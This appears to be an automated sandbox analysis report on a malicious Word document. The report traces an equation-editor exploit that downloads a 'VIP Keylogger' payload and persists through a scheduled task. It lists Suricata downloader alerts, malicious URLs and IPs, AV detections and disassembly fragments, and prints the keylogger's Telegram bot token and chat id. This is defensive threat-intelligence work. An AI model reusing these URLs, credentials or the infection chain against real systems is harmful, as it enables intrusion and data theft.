Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", ParentImage: C:\Users\user\AppData\Roaming\swagodi78811.scr, ParentProcessId: 3468, ParentProcessName: swagodi78811.scr, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", ProcessId: 3704, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T23:45:45.269177+0200
SID:	2803274
Source Port:	49187
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.247.73

Timestamp:	2024-07-26T23:45:46.595188+0200
SID:	2803274
Source Port:	49191
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T23:45:47.482045+0200
SID:	2803305
Source Port:	49193
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T23:45:43.939318+0200
SID:	2803305
Source Port:	49186
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T23:45:45.672752+0200
SID:	2803305
Source Port:	49189
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T23:45:47.219644+0200
SID:	2803305
Source Port:	49192
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.247.73

Timestamp:	2024-07-26T23:45:34.439640+0200
SID:	2803274
Source Port:	49171
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T23:45:38.046315+0200
SID:	2803274
Source Port:	49176
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.130.0

Timestamp:	2024-07-26T23:45:35.862446+0200
SID:	2803274
Source Port:	49174
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.247.73

Timestamp:	2024-07-26T23:45:30.886952+0200
SID:	2803274
Source Port:	49171
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T23:45:39.432931+0200
SID:	2803274
Source Port:	49177
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T23:45:39.278729+0200
SID:	2803274
Source Port:	49176
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T23:45:42.289531+0200
SID:	2803274
Source Port:	49182
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T23:45:41.727950+0200
SID:	2803274
Source Port:	49180
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T23:45:34.870932+0200
SID:	2803305
Source Port:	49173
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T23:45:40.927537+0200
SID:	2803274
Source Port:	49177
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 - Source IP: 104.21.52.88 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T23:45:21.214935+0200
SID:	2022053
Source Port:	443
Destination Port:	49168
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T23:45:39.742773+0200
SID:	2803305
Source Port:	49179
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://meridianresourcellc.top/swagodi.scrj	Avira URL Cloud: Label: malware
Source: https://meridianresourcellc.top/swagodi.scrsoC:	Avira URL Cloud: Label: malware
Source: https://meridianresourcellc.top/	Avira URL Cloud: Label: malware
Source: https://meridianresourcellc.top/swagodi.doc	Avira URL Cloud: Label: phishing
Source: https://meridianresourcellc.top/swagodi.scr	Avira URL Cloud: Label: malware
Source: https://meridianresourcellc.top/swagodi.scrllC:	Avira URL Cloud: Label: malware
Source: http://anotherarmy.dns.army:8081	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp

Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Found malware configuration

Source: 10.2.swagodi78811.scr.316cb90.4.unpack

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7222270709:AAEe8p8C3uTJGMDBeQJ80Oh9drnBDJzIaE4", "Chat id": "-4219735485"}

Multi AV Scanner detection for submitted file

Source: order072724.docx.doc

ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.21.52.88 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr			Jump to behavior

Source: ~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp.0.dr

Stream path '_1783521069/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49162 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49178 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49203 version: TLS 1.2

Source:	Binary string: lxqb.pdbSHA256 source: swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr
Source:	Binary string: lxqb.pdb source: swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00421EF6h	10_2_00422154
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	20_2_002069F0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00209B83h	20_2_00209A20
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 002095C1h	20_2_00209300
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 002076B5h	20_2_002074C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020803Fh	20_2_002074C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	20_2_00207022
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020EB31h	20_2_0020E830
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020F461h	20_2_0020F181
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	20_2_00207201
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00209B83h	20_2_00209A08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020FD91h	20_2_0020FAB1
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00209B83h	20_2_00209AB2
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00206544h	20_2_002063A8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020EFC9h	20_2_0020ECE8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00206544h	20_2_00206593
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0020F8F9h	20_2_0020F619
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067F372h	20_2_0067F078
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00671571h	20_2_006712A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00678A42h	20_2_00678748
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00672339h	20_2_00672068
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00676349h	20_2_00676078
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00670311h	20_2_00670040
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00674321h	20_2_00674050
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00677ED9h	20_2_00677C08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00678F0Ah	20_2_00678C10
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006747B9h	20_2_006744E8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067ABBAh	20_2_0067A8C0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006707A9h	20_2_006704D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006793D2h	20_2_006790D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00678412h	20_2_006780A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067C3A2h	20_2_0067C0A8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067DB8Ah	20_2_0067D890
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00670C41h	20_2_00670970
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067C86Ah	20_2_0067C570
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067F83Ah	20_2_0067F540
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067E052h	20_2_0067DD58
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006727D1h	20_2_00672500
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006767E1h	20_2_00676510
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067989Ah	20_2_006795A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00676C7Ah	20_2_006769A8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00674C51h	20_2_00674980
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067B082h	20_2_0067AD88
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00672C69h	20_2_00672998
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00679D62h	20_2_00679A68
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00677111h	20_2_00676E40
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067B54Ah	20_2_0067B250
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067E51Ah	20_2_0067E220
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00673101h	20_2_00672E30
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067CD32h	20_2_0067CA38
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006710D9h	20_2_00670E08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067FD02h	20_2_0067FA08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006750E9h	20_2_00674E18
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067E9E2h	20_2_0067E6E8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00673599h	20_2_006732C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006775A9h	20_2_006772D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00675581h	20_2_006752B0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00673A31h	20_2_00673760
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00677A41h	20_2_00677770
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00675A19h	20_2_00675748
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067A22Ah	20_2_00679F30
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00671A09h	20_2_00671738
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067D1FAh	20_2_0067CF00
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067BA12h	20_2_0067B718
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00675EB1h	20_2_00675BE0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067BEDAh	20_2_0067BBE0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00673EA1h	20_2_00673BF8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067A6F2h	20_2_0067A3F8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067D6C2h	20_2_0067D3C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 00671EA1h	20_2_00671BD0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 0067EEAAh	20_2_0067EBB0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D4162h	20_2_006D3E68
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D033Ah	20_2_006D0040
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D1B22h	20_2_006D1828
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D330Ah	20_2_006D3010
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D1FEAh	20_2_006D1CF0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D37D2h	20_2_006D34D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D297Bh	20_2_006D2680
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D1192h	20_2_006D0E98
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D165Ah	20_2_006D1360
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D2E42h	20_2_006D2B48
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D0802h	20_2_006D0508
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D0CCAh	20_2_006D09D0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D3C9Ah	20_2_006D39A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 006D24B2h	20_2_006D21B8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BB5C1h	20_2_021BB318
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BF0E1h	20_2_021BEE10
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B92A9h	20_2_021B9000
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B62E1h	20_2_021B6038
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B55D9h	20_2_021B5330
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BDCD9h	20_2_021BDA30
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BCFD1h	20_2_021BCD28
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B48D1h	20_2_021B4628
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BC2C9h	20_2_021BC020
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B3BC9h	20_2_021B3920
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B9701h	20_2_021B9458
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B89F9h	20_2_021B8750
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B7CF1h	20_2_021B7A48
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BFA11h	20_2_021BF740
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B6FE9h	20_2_021B6D40
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B4021h	20_2_021B3D78
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BC721h	20_2_021BC478
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BEC49h	20_2_021BE978
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BBA19h	20_2_021BB770
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B3319h	20_2_021B3070
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BAD11h	20_2_021BAA68
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B7441h	20_2_021B7198
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B6739h	20_2_021B6490
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B5A31h	20_2_021B5788
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BE1C5h	20_2_021BDE88
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BD429h	20_2_021BD180
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B4D29h	20_2_021B4A80
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B9B59h	20_2_021B98B0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BF579h	20_2_021BF2A8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B8E51h	20_2_021B8BA8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B8149h	20_2_021B7EA0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B5181h	20_2_021B4ED8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BD881h	20_2_021BD5D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BCB7Bh	20_2_021BC8D0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B4479h	20_2_021B41D0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B3771h	20_2_021B34C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BBE71h	20_2_021BBBC8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BB169h	20_2_021BAEC0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B85A1h	20_2_021B82F8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B7899h	20_2_021B75F0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B6B91h	20_2_021B68E8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021B5E89h	20_2_021B5BE0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then jmp 021BE7B1h	20_2_021BE4E0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E5F28
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E5F38
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E2B00
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E2E16
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E2A50
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	20_2_022E29CE
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00591496h	22_2_005916F4
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00209449h	29_2_00209188
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_00206C80
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00209A0Bh	29_2_002095F8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00207945h	29_2_00207758
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 002082CFh	29_2_00207758
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 002067D4h	29_2_00206823
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0020F2E9h	29_2_0020F009
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0020FC19h	29_2_0020F939
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00209A0Bh	29_2_0020993A
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_002072B2
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0020EE51h	29_2_0020EB3A
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0020F781h	29_2_0020F4A1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_00207491
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 002067D4h	29_2_00206638
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9F372h	29_2_00A9F078
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A927D1h	29_2_00A92500
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A98A42h	29_2_00A98748
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9C3A2h	29_2_00A9C0A8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A98412h	29_2_00A980A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9DB8Ah	29_2_00A9D890
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A947B9h	29_2_00A944E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9ABBAh	29_2_00A9A8C0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A907A9h	29_2_00A904D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A993D2h	29_2_00A990D8
